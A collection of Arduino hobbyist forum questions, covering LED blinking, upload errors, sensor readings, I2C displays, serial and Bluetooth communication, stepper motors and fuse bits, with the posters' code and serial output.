texts: How to make RGB LED blink rapidly one color using FOR or WHILE loop

texts:
I found a code that turns on different RGB colors but I would like it to blink rapidly one color once called. I dont want to use void loop function to make this possible. My RGB is a cathode. Any help?

int redPin = 8;
int greenPin = 9;
int bluePin = 10;

//uncomment this line if using a Common Anode LED
//#define COMMON_ANODE

void setup()
{
  pinMode(redPin, OUTPUT);
  pinMode(greenPin, OUTPUT);
  pinMode(bluePin, OUTPUT);
}

void loop()
{
    for (int j = 0; j <= 10; j++) //LED simply stays on. No blinking occuring
     {
      setColor(255, 0, 0);
      delay(100);
      setColor(0, 0, 0);
        }
}

void setColor(int red, int green, int blue)
{
  #ifdef COMMON_ANODE
    red = 255 - red;
    green = 255 - green;
    blue = 255 - blue;
  #endif
  analogWrite(redPin, red);
  analogWrite(greenPin, green);
  analogWrite(bluePin, blue);
}


texts: Many "expected `)' before ';' token" errors

texts:
As the title suggests, I have many "expected `)' before ';' token" errors. The issue is, I have this stuff in. So now I am confused, why am I getting this if the things are there.

I am new here and had an issue with adding code, so here is the pastebin link to it: http://pastebin.com/4WXxsXkB

And here is the the pastebin link to the error:
http://pastebin.com/QyehP86M

Does anyone understand how this could happen?


texts: Arduino Prototype on Breadboard: "avrdude: stk500_recv(): programmer is not responding"

texts:
I have created an arduino prototype using the exact instructions found on this page:

https://www.arduino.cc/en/Main/Standalone

However, when I plug in the micro USB power supply and try to upload a program, here's the error I get:

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 1 of 10: not in sync: resp=0xe0

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 2 of 10: not in sync: resp=0xe0

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 3 of 10: not in sync: resp=0xe0

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 4 of 10: not in sync: resp=0xe0

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 5 of 10: not in sync: resp=0xe0

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 6 of 10: not in sync: resp=0xe0

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 7 of 10: not in sync: resp=0xe0

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 8 of 10: not in sync: resp=0xe0

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 9 of 10: not in sync: resp=0xe0

avrdude: stk500_recv(): programmer is not responding

avrdude: stk500_getsync() attempt 10 of 10: not in sync: resp=0xe0

I have tried the following solutions, to no avail:
1) press the restart button (in a variety of ways and lengths of time)
2) Enable verbose output
3) trying the different board types in the Arduino IDE
4) Checking the COM port

I have no idea what to do I've basically tried everything I could find, on this website and others.

I hope you guys can help! Thanks very much :)


texts: Object Sensor on conveyor belt (want to record the data in EEPROM for testing)

texts:
void setup ()
pinMode(trigPin, OUTPUT);
pinMode(echoPin, INPUT);
pinMode(LED_Blue_pin, OUTPUT);
pinMode(LED_White_pin, OUTPUT);

Serial.begin(9600);
digitalWrite(LED_Blue_pin, LOW);
digitalWrite(LED_White_pin, LOW);

void loop()
{
    long duration, cm;

    pinMode(trigPin, OUTPUT);
    digitalWrite(trigPin, LOW);
    delayMicroseconds(2);
    digitalWrite(trigPin, HIGH);
    delayMicroseconds(5);
    digitalWrite(trigPin, LOW);

    pinMode(echoPin, INPUT);
    duration = pulseIn(echoPin, HIGH);

    cm = microsecondsToCentimeters(duration);
    long distance = 70 - cm ;

    if (distance < 20) {
        Serial.println("NO ITEM");
        digitalWrite(LED_White_pin, HIGH);
    } else {
        digitalWrite(LED_White_pin, LOW);
    }

    if (distance > 20 && distance < 70) {
        digitalWrite(LED_Blue_pin, HIGH);
        Serial.print("Item : ");
        Serial.print(item++);
        Serial.println(" stk");
    } else {
        digitalWrite(LED_Blue_pin, LOW);
    }

    delay(1500);
}

long microsecondsToCentimeters(long microseconds)
{
    return microseconds / 29 / 2;
}

The code above is for the Ultrasonic Sensor HC-SR04. The sensor detects items that passes through and counts them along the way. The Blue Led indicates that the sensor detected an item while the White Led detects none. How can I store the data from HC-SR04 to EEPROM? The reason is, I just want to test it out before I sent the data from EEPROM to a database server. I'm still a novice at this.


texts:
I would like to ask you if I can display real time view from Camera in Arduino Uno with LCD.

I have that components:

Camera OV7670 VGA 0.3 MPX
LCD TFT 2.4 SPI ILI9341
Arduino Uno R3

On a website: arducam.com there are used another components. I bought that parts because in a documentation in auction was that is compatible with Arduino.
I see that in Arduino UNO is not so much pins.

Could somebody help me to resolve this challenge?

Regards


texts: I cannot upload any code to my arduino nano

texts:
Arduino: 1.8.13 (Windows Store 1.8.42.0) (Windows 10), Board: "Arduino Nano, ATmega328P"
Sketch uses 934 bytes (3%) of program storage space. Maximum is 30720 bytes.
Global variables use 9 bytes (0%) of dynamic memory, leaving 2039 bytes for local variables. Maximum is 2048 bytes.
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 1 of 10: not in sync: resp=0x49
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 2 of 10: not in sync: resp=0x49
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 3 of 10: not in sync: resp=0x49
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 4 of 10: not in sync: resp=0x49
An error occurred while uploading the sketch
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 5 of 10: not in sync: resp=0x49
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 6 of 10: not in sync: resp=0x49
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 7 of 10: not in sync: resp=0x49
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 8 of 10: not in sync: resp=0x49
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 9 of 10: not in sync: resp=0x49
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 10 of 10: not in sync: resp=0x49
This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.


texts: I´m learning how to use arduino mkr1010, when I wrote the program for control leds and to read BMP280 sensor with a web aplication and I uploaded the program to the board,  suddenly the computer cannot recognice the board. The power led of the board works, but I can't access to the board with mi computer, and I can't see in the COM ports neither in the "unrecognice device" to reinstall the drivers. I have tried with a few others USB cables and with another computer, and I have the same problem. I have also tried to press the button reset board and I still have the same result. What can I do to make my board work?


texts: LCD 16*02 I2C shield only shows first character printed

texts:
I have an I2C LCD screen provided with a Sunfounder kit and certainly built by DFRobot or such a constructor (there is nothing written on the LCD), and an Arduino Uno R3 copy.

My issue is when I use lcd.print() to write a string on the LCD, only the first character of the string is printed. I can only print on other positions by using setCursor but only one character at a time.

I tried to change libraries (https://github.com/fdebrabander/Arduino-LiquidCrystal-I2C-library, the one supplied with the LCD...), It always behaves the same!

For example, here's a very simplistic program which exhibits this behavior:

#include <LiquidCrystal_I2C.h>

LiquidCrystal_I2C lcd(0x27, 16, 2);
// set the LCD address to 0x27 for a 16 chars and 2 line display
void setup() {
  lcd.init();
  lcd.backlight();
}

void loop() {
  lcd.print("write");
  delay(1000);
  lcd.setCursor(10, 0);
  lcd.print("p10");
  lcd.setCursor(0, 1);
  lcd.print("0, 1 write");
  if((millis() / 1000) % 5 == 0) {
    lcd.clear();
    delay(1000);
  }
}

I end up with something like:

w      p
0w

On the screen (before the clear() occurs of course).

Instead of something like:

write  p10
0, 1 writewrite

The lcd itself was ok some time ago. The only thing I could think is I recently updated to Arduino 1.6.6. Can it be a bug in the compiler?

The hello world from DFRobot also doesn't work properly (first char only, again) (please note to make it display something with my LCD I have to change the address from 0x20 to 27).


texts: High speed rotary encoder with Arduino MEGA

texts:
I'm trying to develop length measuring system and I'm using a industrial rotary encoder as the sensor.

A have decided to use an Arduino external interrupt for connect the encoder. But, Encoder will rotate very fast. I need to calculate PPR(Pulse per revolution) of the encoder according to maximum interrupt frequency of Arduino MEGA.

So, What is the maximum interrupt frequency of Arduino MEGA?


texts:
I am trying to communicate NODEMCU and Arduino Uno using Serial Communication (RX,TX) using SoftwareSerial library.

Here is my code

int count;
char reqst[] = " ";

void setup() {

  Serial.begin(115200);
  Serial.println("Ready");

}

void loop() {

 while ( Serial.available() > 0 )  {

  char inChar = Serial.read();
  reqst[count] = inChar;
  count++;

     if (inChar == '\n') {

        Serial.print("String: ");
        Serial.println(reqst);
        count = 0;
        delay(1000);

     }

 }

}

here my output in serial monitor is showing ;

String: aj
779

String: am
779

I have checked that from NODEMCU i am sending correct string but in Arduino Uno
the number "779" is coming from nowhere.

So my problem is i am not be able to execute my function according to the desired string. Can anyone tell why the number is coming below the string ?.


texts: Can I use a 3.3v GPIO to control an opto-isolated 5v relay board?

texts:
I am working on a DIY home automation project using a Wemos D1 Mini as the controller, and I ordered some 4-channel 5v-triggered relay boards. The ESP8266 that Wemos D1 Mini's are built on has GPIO output voltage of 3.3v, ostensibly too low to trigger the relays.

I've read a Reddit post that was saying that as long as you use a separate 5v power suppy for the relay board, 3.3v should be enough to trigger the relays. Is that accurate, or do I need to use a transistor or something to provide the relay board inputs with 5v?


texts: I am making a moving robot that will be autonomous in many respects. However if something goes wrong I want to be able to use a remote to push a button and it stop in its tracks no matter what function its in.  My understanding is that interrupts can do that. The official site I did not find to be helpful. Any ideas? Or if the scheduler library would be of use.


texts:
I am driving a bipolar stepper motor with an a4988 driver using the AccelStepper library. My goal is to press a button and the motor moves CW, then another button for CCW.
I have looked at another post with a very similar issue, but the solution does not seem to apply well to the AccelStepper library, which I would really like to use given its versatility.
Currently, whichever button I press, the motor moves CCW. Any help would be greatly appreciated!
#include <AccelStepper.h>
AccelStepper stepperX(1, 3, 2);

void setup() {
  pinMode(8, INPUT)
  pinMode(9, INPUT);

  stepperX.setMaxSpeed(100.0);
  stepperX.setAcceleration(100.0);
}

int moveRight = 1000;              //arbitrarily high number
int moveLeft = -1000;              //arbitrarily low number

void loop() {
  while (digitalRead(8) == HIGH) { //when d8 button is pressed move left
    stepperX.moveTo(moveLeft);     //set move
    if (digitalRead(8) == LOW) {   //if not pressed, kill loop
      stepperX.stop();
      break;
    }
    stepperX.run();
  }

  while (digitalRead(9) == HIGH) { //when d9 button is pressed move right
    stepperX.moveTo(moveRight);    //set move
    if (digitalRead(9) == LOW) {   //if not pressed, kill loop
      stepperX.stop();
      break;
    }
    stepperX.run();
  }
}


texts: Sim900b(chinese sim900a) AT+HTTPACTION=(0/1)reboots the module

texts:
I am trying to make an HTTP request in two ways

Connecting sim900 to pc using TTL converter (without external power, only USB power)
Connecting sim900 using Arduino nano (tried with and without external power, with common ground)

in the first case, everything is ok
but in the second case after sending AT+HTTPACTION= the module resets

Arduino sketch

#include <SoftwareSerial.h>
SoftwareSerial sim900(3, 2);

void setup() {
  Serial.begin(9600);
  sim900.begin(9600);
}

void loop() {
  if (sim900.available())
    Serial.write(sim900.read());
  if (Serial.available())
    sim900.write(Serial.read());
}

Serial monitor:

AT

OK
AT+SAPBR=1,1

OK
AT+HTTPINIT

OK
AT+HTTPPARA="URL","http://veterok.xyz:8888/service/time"

OK
AT+HTTPACTION=0

OK
⸮⸮⸮⸮
RDY

+CFUN: 1

+CPIN: READY

Call Ready


texts: MCore(Arduino) - Python bluetooth communication

texts:
Pc and Mcore with bluetooth module are paired. The port is COM9 outgoing in PC. However, when I send message Arduino does not get anything. I just disconnect arduino from pc and write simple code in Mcore that turn on LED when input message is 1. However still nothing. These are the codes in python and arduino side:

import time
import serial

port="COM9"          #This will be different for various devices,COM port.
bluetooth=serial.Serial(port, 9600)         #Start communications with the bluetooth unit
bluetooth.flushInput()      #This gives the bluetooth a little kick
bluetooth.write(b'1')       #These need to be bytes not unicode
bluetooth.close()          #Otherwise the connection will remain open until a timeout

Arduino code:

char a;

void setup()
{
  Serial.begin(9600);
  pinMode(13, OUTPUT);
}

void loop()
{
if(Serial.available()){a = Serial.read();}

if (a == '1'){
  digitalWrite(13, HIGH);
  }

  else{
  digitalWrite(13, LOW);}

  delay(100);
}

I have tried to install Pybluez for WIN10, however, there was error. Do you think that this is the reason?

Thanks in advance


texts: Voltage on open circuit jumping on Arduino R3

texts:
I am working with a bunch of sensors and everything is fine so far, but I figured on analog PINS 4 & 5 the output voltage read is 0.09V higher than on 0-3... for my Sensors this is a crucial issue.

So I unplugged everything to see whats happening and found the voltage (which would supposedly be 5.0V as nothing is connected) varies, too.

PIN 0   PIN1   PIN2   PIN3   PIN4   PIN5
4.9365,4.8631,4.8045,4.7507,5.0000,5.0000
4.9218,4.8436,4.7752,4.7165,5.0000,5.0000
4.9120,4.8289,4.7605,4.6970,5.0000,5.0000
4.9316,4.8583,4.7898,4.7263,5.0000,5.0000
4.9462,4.8729,4.8045,4.7410,5.0000,5.0000
4.9169,4.8387,4.7654,4.7019,5.0000,5.0000
4.9022,4.8192,4.7507,4.6823,5.0000,5.0000

So i thought, OK, maybe my board is broken, but another one delivers similar results with NOTHING plugged in...

why is this?

All I do is analogRead on my PINs and multiply with 5.0/1023.0...

I appreciate every hint.


texts: 5V usb surge protection for circuit board?

texts: I want to use a mini usb jack to power my device off board, but I want to make sure that the usb power coming in is not any higher than the 5V. I've read a bit about polyfuses but I am unsure if they would be useful for this scenario. Thanks!


texts: AT Commands HM10 BLE Module - Not working

texts:
I got the ble module to work fine following online guide. However when i changed the baud rate: AT+BAUD1 which changed to 19200 however ever since i was not able to get at commands to work.

tried: arduino nano, FTDI programmer, software serial, normal tx, rx

#include <SoftwareSerial.h>

SoftwareSerial BTSerial(8,9); //RX|TX

void setup(){
  Serial.begin(9600);
  BTSerial.begin(9600); // default baud rate
  while(!Serial); //if it is an Arduino Micro
  Serial.println("AT commands: ");
}

void loop(){
  //read from the HM-10 and print in the Serial
  if(BTSerial.available())
    Serial.write(BTSerial.read());

  //read from the Serial and print to the HM-10
  if(Serial.available())
    BTSerial.write(Serial.read());
}


texts: Send Keyboard Media Keys with Keyboard Library

texts:
I have an Arduino Pro Micro (ATMega32u4) that I want to use as an IR receiver for a media PC and need to send codes like Volume Up, Media Home, Play, etc. But when I look up the scan codes for those and send them to Keyboard.press() it just prints out '0' every time.

Any way to send those keyboard commands?


texts: Performing multiple Wire.writes() - does endtransmission slow things down?

texts:
Here's a question for anyone knowledgeable of the ways of I2C.

I'm curious about sending multiple writes to a device and was looking at the code for a MPU9250 module.

There is a nice library that compiled straight off the shelf by Kris Winer here.

In one of his code examples he makes multiple calls to a function called writeByte():

// Wire.h read and write protocols
void writeByte(uint8_t address, uint8_t subAddress, uint8_t data)
{
    Wire.beginTransmission(address);  // Initialize the Tx buffer
    Wire.write(subAddress);           // Put slave register address in Tx buffer
    Wire.write(data);                 // Put data in Tx buffer
    Wire.endTransmission();           // Send the Tx buffer
}

here is a (truncated) example of the code calling writeByte():

void initMPU9250()
{
  writeByte(MPU9250_ADDRESS, PWR_MGMT_1, 0x00);
  delay(100);

  writeByte(MPU9250_ADDRESS, PWR_MGMT_1, 0x01);
  delay(200);
  writeByte(MPU9250_ADDRESS, CONFIG, 0x03);
  writeByte(MPU9250_ADDRESS, SMPLRT_DIV, 0x04);
  .
  .
  .
  etc
}

My question is why call Wire.endtransmission() each time your sending I2C to the same device? I can see one reason straight off the bat which is you may need to call delay after your write() - but in cases where you do not need to call delay, wouldnt it be faster to do something like:

Wire.beginTransmission(address);
Wire.write(data1);
Wire.write(data2);
Wire.write(data3);
Wire.write(data4);
Wire.endTransmission();

at least when it's possible?


texts: Is there something wrong with my code or my Arduino is malfunctioning

texts:
A 12v motor is connected to a 5v relay and a HC-SRO4 is connected to an Arduino. Sometimes the relay clicks so the motor is on for less than 170 seconds which is the delay time but sometimes the motor just keep on running but also there are times that it works properly so I am wondering if my Arduino or my relay is malfunctioning or there's something wrong with my code?
int echopin=10;
int trigpin=9;
int motorpin=8;
int sensorval;
int delayt=170;
int greenpin=7;
int redpin=2;

void setup() {
  Serial.begin(9600);
  pinMode(echopin,INPUT);
  pinMode(trigpin,OUTPUT);
  pinMode(motorpin,OUTPUT);
  pinMode(redpin,OUTPUT);
  pinMode(greenpin,OUTPUT);
}

void loop() {

 digitalWrite(trigpin,LOW);
 delayMicroseconds(10);
 digitalWrite(trigpin,HIGH);
 delayMicroseconds(10);
 digitalWrite(trigpin,LOW);
 delayMicroseconds(10);
 sensorval=pulseIn(echopin,HIGH);
 Serial.println(sensorval);

 if(sensorval<500){
 digitalWrite(motorpin,HIGH);
 digitalWrite(greenpin,HIGH);
 digitalWrite(redpin,LOW);
 delay(delayt);
 digitalWrite(motorpin,LOW);
 digitalWrite(greenpin,LOW);
 digitalWrite(redpin,HIGH);
 delay(1500);
 }
 digitalWrite(motorpin,LOW);
 digitalWrite(redpin,HIGH);
 digitalWrite(greenpin,LOW);

 if(sensorval>500){
 digitalWrite(greenpin,LOW);
  digitalWrite(redpin,HIGH);
  digitalWrite(motorpin,LOW);
 }

}


texts: Not getting proper readings on Arduino from MAP Sensor

texts:
In recent project, I have to take reading from MAP sensor. So basically, we used analog pin for this. But in my case, I don't get proper result which actually I want.

When I'm taking readings through multi-meter then I got proper readings. Means when I start the vehicle then it's show 0.99 V. When I provide full throttle then voltage also increase and it's reach to 1.66 V. And finally when suddenly come back to normal throttle then also voltage decrease around like 0.48 V and then within a second again show normal 0.99 V.

Here, when I'm taking readings from MAP sensor through multi-meter then I'm providing ground to multi-meter. And when I taking readings from MAP sensor through Arduino then I'm not providing any ground to Arduino. Because I think it may be damage my Arduino.

So, I think this is also one possibility and may be possible that's why I'm not getting that type of voltage output through Arduino.

Here, the ground which I provide to multi-meter is from 12V DC battery which is used in CNG Auto rickshaw. So, that's why I'm not providing ground to Arduino. So, give me some suggestions about this. What should I do for this. Providing ground to Arduino or not.

Here, it's my code.

int kMAP1 = 0;
float kMAP2 = 0;

void setup()
{
  Serial.begin(9600);
}

void loop()
{
  kMAP1 = analogRead(A0);
  kMAP2 =  kMAP1 * (5.0 / 1023.0);

  Serial.print("MAP1: ");
  Serial.print(kMAP1);

  Serial.print("\t");

  Serial.print("      MAP2: ");
  Serial.println(kMAP2);

  delay(1000);
}

And it's my serial monitor output.

MAP1: 490         MAP2: 2.39
MAP1: 433         MAP2: 2.12
MAP1: 270         MAP2: 1.32
MAP1: 0           MAP2: 0.00
MAP1: 447         MAP2: 2.18
MAP1: 401         MAP2: 1.96
MAP1: 518         MAP2: 2.53
MAP1: 487         MAP2: 2.38
MAP1: 344         MAP2: 1.68
MAP1: 374         MAP2: 1.83
MAP1: 611         MAP2: 2.99
MAP1: 429         MAP2: 2.10
MAP1: 647         MAP2: 3.16
MAP1: 668         MAP2: 3.26
MAP1: 460         MAP2: 2.25
MAP1: 489         MAP2: 2.39
MAP1: 278         MAP2: 1.36
MAP1: 277         MAP2: 1.35
MAP1: 318         MAP2: 1.55
MAP1: 383         MAP2: 1.87
MAP1: 238         MAP2: 1.16
MAP1: 237         MAP2: 1.16
MAP1: 134         MAP2: 0.65
MAP1: 191         MAP2: 0.93
MAP1: 230         MAP2: 1.12
MAP1: 308         MAP2: 1.51
MAP1: 479         MAP2: 2.34
MAP1: 388         MAP2: 1.90
MAP1: 544         MAP2: 2.66
MAP1: 518         MAP2: 2.53
MAP1: 419         MAP2: 2.05
MAP1: 544         MAP2: 2.66
MAP1: 586         MAP2: 2.86
MAP1: 544         MAP2: 2.66
MAP1: 575         MAP2: 2.81
MAP1: 184         MAP2: 0.90
MAP1: 202         MAP2: 0.99
MAP1: 883         MAP2: 4.32
MAP1: 671         MAP2: 3.28
MAP1: 884         MAP2: 4.32
MAP1: 487         MAP2: 2.38
MAP1: 403         MAP2: 1.97
MAP1: 184         MAP2: 0.90
MAP1: 426         MAP2: 2.08
MAP1: 412         MAP2: 2.01
MAP1: 428         MAP2: 2.09
MAP1: 434         MAP2: 2.12
MAP1: 420         MAP2: 2.05
MAP1: 312         MAP2: 1.52
MAP1: 414         MAP2: 2.02
MAP1: 435         MAP2: 2.13
MAP1: 405         MAP2: 1.98
MAP1: 418         MAP2: 2.04
MAP1: 515         MAP2: 2.52
MAP1: 462         MAP2: 2.26
MAP1: 578         MAP2: 2.83
MAP1: 332         MAP2: 1.62
MAP1: 330         MAP2: 1.61
MAP1: 164         MAP2: 0.80
MAP1: 425         MAP2: 2.08
MAP1: 345         MAP2: 1.69
MAP1: 226         MAP2: 1.10
MAP1: 0           MAP2: 0.00
MAP1: 97          MAP2: 0.47
MAP1: 872         MAP2: 4.26
MAP1: 55          MAP2: 0.27
MAP1: 492         MAP2: 2.40
MAP1: 531         MAP2: 2.60
MAP1: 1023        MAP2: 5.00
MAP1: 43          MAP2: 0.21
MAP1: 6           MAP2: 0.03


texts: Tried to install Arduino IDE on Juno, install script gave warnings about icons not being installed on desktop (which is fine since no desktop folder for eOS) but then when try to launch the IDE icon from Applications it doesn't go. I'm guessing it's a java app? I don't want to run java on eOS unless it's already there. Any insight to running this IDE on Juno would be welcome.


texts:
I need your help.

I am using Arduino ProMini in my project.

In project board there is Atmega328P which doesn't have Arduino bootloader, and Atmega328P RXD, TXD pins are connected to FTDI Basic(sparkfun)'s TXD and RXD pins.
I searched on internet how to burn bootloader for arduino. Most of them use other Arduino's built in SPI or other method. Problem is Atmega328P is already assembled to PCB board and I cannot make any soldering or change. Atmega328 and FTDI basic are connected and assembled to upload sketch (if there is bootloader of Arduino inside of Atmega328P, no problem to upload sketch).

Is there any solution or suggestions to burn bootloader using FTDI?

Thank You.


texts:
I've come to understand fuse bits in the last few weeks. I'm working on a bitbanging project on an Arduino Pro Micro, and the signals I'm working with are around 30uS each. For this reason, I think I'll need to unset the CKDIV8 to unlock the full 16MHz speed of my micro controller.

Regardless, I can't figure out how to even do that. Is it possible to modify fuse bits through the Arduino IDE? If so, where?

The only other info I've found on this subject so far is that I can do it by chaining two micro controllers together, but at that point we're getting into application specific stuff and I'm nervous to play with the fuse bits by myself until after I've followed a step-by-step guide. I'd hate to, say, erase the bootloader.


texts: Why am I always getting 48 with serial communication?

texts:
So I want to send some data from Matlab to Arduino. To verify that I am getting the correct data I am sending the data back to Matlab (since I get errors if I open the serial monitor, if there's an easier way to print debug messages let me know).

The problem is that I always get 48 back.

My matlab code:

arduino = serial('COM3','BaudRate',115200);
fopen(arduino);
fprintf(arduino,'%f',1);
fclose(arduino);

fopen(arduino);
disp(fscanf(arduino, '%f'))
fclose(arduino);

and my arduino code:

In the setup:

Serial.begin(115200);

In the loop:

delay(100);
myFunction();

In myFunction:

while(!Serial.available()>0)){}
int data = Serial.read();
Serial.println(data,DEC);

It seems like the 48 is an ascii code for something but it doesn't ever change when I change the 1 is the 3rd line of the matlab code to anything else.


texts:
I am trying to find out the size of an array like this:

    String days[3] = { "Mon", "Tue", "Wed" };
Serial.printf("Size of array: %2d\n", sizeof(days));
for (int i = 0; i < sizeof(days); i++) {
    Serial.print(days[i]);
}

The result of the code above is 36 which is incorrect.

Do I have any other options considering that I don't know the size of the array to begin with?


texts: circuit breaker/fuse necessary for IoT home monitor?

texts:
In most 12v CCTV power supplies, each power cable is behind a glass fuse.  I haven't seen fuses or circuit breakers used when distributing 5v power used in IoT projects.  Is there a reason overcurrent protection is not needed in these projects?
edit:
I'm thinking specifically about fire safety.  e.g. the risk of a short circuit overheating 22awg wire run through the house?


texts: OLED (I2C) and Micro SD card module not working together in Arduino

texts:
I am trying to write some data to SD card and read it back to serial monitor as well as display it to the OLED.

Both the sd card and oled work separately but they seem to be interfering with each other when combined. I have used Arduino SD and Adafruit OLED libraries.

Connections from Arduino Uno to Micro SD card module-

5V to SD VCC
GND TO SD GND
PIN 10 TO SD Chip Select
PIN 11 TO SD MOSI
PIN 12 TO SD MISO
PIN 13 TO SD SCK

Connections to OLED-

3.3V to OLED VCC
GND TO OLED GND
A4 TO OLED SDA
A5 TO OLED SCK

Here is the code -

#include <SPI.h>
#include <SD.h>

File myFile;

#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>

#define SCREEN_WIDTH 128 // OLED display width, in pixels
#define SCREEN_HEIGHT 64 // OLED display height, in pixels

// Declaration for an SSD1306 display connected to I2C (SDA, SCL pins)
#define OLED_RESET     -1
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);

void setup() {
  // put your setup code here, to run once:
  Serial.begin(9600);
  while(!Serial) {
    ;
  }

  if(!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) {
    Serial.println(F("SSD1306 allocation failed"));
    for(;;); // CODE GETS STUCK HERE. DISPLAY NEVER INITIALISES
  }
  display.clearDisplay();
  display.setTextSize(1);
  display.setTextColor(WHITE);
  display.setCursor(29,29);
  display.print("INITIALISING");
  display.display();
  delay(5000);

  if (!SD.begin(10)) {
    Serial.println("initialization failed!");
    while (1);
  }
  Serial.println("initialization done.");

  myFile = SD.open("test.txt", FILE_WRITE);

  if (myFile) {
    Serial.print("Writing to test.txt...");
    myFile.println("testing 1, 2, 3.");
    // close the file:
    myFile.close();
    Serial.println("done.");
  } else {
    // if the file didn't open, print an error:
    Serial.println("error opening test.txt");
  }

  display.clearDisplay();

  myFile = SD.open("test.txt");
  if (myFile) {
    Serial.println("test.txt:");
    while (myFile.available()) {
      Serial.write(myFile.read());
      display.setCursor(0,0);
      display.print(myFile.read());
      display.display();
      delay(5000);
    }
    // close the file:
    myFile.close();
  } else {
    // if the file didn't open, print an error:
    Serial.println("error opening test.txt");
  }
}

void loop() {
  // put your main code here, to run repeatedly:

}

Code gets stuck at OLED initialization as mentiontioned above. If I replace these lines-

if(!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) {
    Serial.println(F("SSD1306 allocation failed"));
    for(;;); // CODE GETS STUCK HERE. DISPLAY NEVER INITIALISES
    }

To this-

display.begin(SSD1306_SWITCHCAPVCC, 0x3C);

I have run I2C scanner code on OLED so the address "0X3C" is correct.

The OLED still doesn't work and SD card initialises but arduino is writing wrong data to TXT file on SD card like this-

teóting 1,à2, ó®

Instead of -

testing 1, 2, 3.

I have also tried using U8G2 library's sketches with SD card in case Arduino was running out of RAM but it still doesn't work. I have also changed SD chip select to Arduino digital pin 4 but still same results.

On browsing and experimenting more,I found MISO OR MOSI PIN of SD maybe interfering with SDA/SCL pins of OLED. Maybe wiring needs to change.

ANY SUGGESTIONS???


texts: How to get data from a device using ethernet connection with arduino

texts:
I have a question,
I know how to flush the result of a device(using PIN mode) / control a device with help of an Ethernet shield of arduino.

Now, the thing I want is I need to read a device which communicates only via Ethernet. so i have now connected the device with a router and I have the IP address of the device. I need to read the data from the device using arduino + Ethernet shield.

In fine: How to read data from a device connected to a arduino + Ethernet Sheild via lan cable and flash the result in web server or serial portal. Doesn't matter.

Please suggest a solution or help me with code.

regards,
J


texts: Why don't these sketches produce a similar output?

texts:
I compiled the following two sketches with the compiler used by the Arduino IDE and ran them on an Arduino UNO (smd edition).
I'm using:

Arduino IDE v. 1.8.0
Arduino AVR Boards v. 1.6.20

1.

void setup() {

  Serial.begin(115200);
  unsigned long a, b;
  //unsigned long c, d;

  a = micros();
  for (unsigned long i = 0; i != 1000000; i++) digitalRead(13);
  b = micros();
  Serial.println(b - a);

  //c = micros();
  //for (unsigned long i = 0; i != 1000000; i++) digitalRead(13);
  //d = micros();
  //Serial.println(d - c);

}

void loop () {}

2.

void setup() {

  Serial.begin(115200);
  unsigned long a, b;
  unsigned long c, d;

  a = micros();
  for (unsigned long i = 0; i != 1000000; i++) digitalRead(13);
  b = micros();
  Serial.println(b - a);

  c = micros();
  for (unsigned long i = 0; i != 1000000; i++) digitalRead(13);
  d = micros();
  Serial.println(d - c);

}

void loop () {}

These were the outputs on the serial monitor:

2452320
3332640
 3332704

Why did each of the two for loops in the second sketch take roughly 33% more time to execute than the loop in the first one?


texts: Find the time between HIGH state & LOW state of push button(switch)

texts:
I want to find the timing between HIGH state and LOW state of push button. For that, I made a program. You can see my program below. In my program, I made logic like that when switch is pressed then one variable "currentMillis" store the value of millis() and it store value until button pressed. But whenever I pressed button again then it also add previous value. For example, if button pressed for first time then suppose we got 200ms, now suppose if button pressed second time then we got 500ms and if button pressed third time then we got 1000ms. That mean every time value added. No doubt I made a logic which seem to be perfect but I can't figure out what is problem. Please give me some suggestions.

const int  buttonPin = 2;

unsigned long currentMillis = 0;
unsigned long previousMillis = 0;
unsigned long finalMillis = 0;

int buttonPushCounter = 0;

void setup()
{
   Serial.begin(9600);

   pinMode(buttonPin, INPUT);
   digitalWrite(buttonPin, HIGH);
}

void loop()
{
  if (digitalRead(buttonPin) == LOW)
  {
    buttonPushCounter++;
    Serial.println("on");
    Serial.print("number of button pushes:  ");
    Serial.println(buttonPushCounter);

    while(digitalRead(buttonPin) == LOW)
    {
      currentMillis = millis();
    }

    finalMillis = currentMillis - previousMillis;
    Serial.println(finalMillis);

    previousMillis = finalMillis;
    //finalMillis = 0;
  }
}

Here, it is my serial monitor output.

on
number of button pushes:  1
0
on
number of button pushes:  2
775
on
number of button pushes:  3
873
on
number of button pushes:  4
1425
on
number of button pushes:  5
1496
on
number of button pushes:  6
2073
on
number of button pushes:  7
2010
on
number of button pushes:  8
2643
on
number of button pushes:  9
3052
on
number of button pushes:  10
3195
on
number of button pushes:  11
3396
on
number of button pushes:  12
3575
on
number of button pushes:  13
3737


texts: How do change my Arduino Uno from an unknown device to a port?

texts:
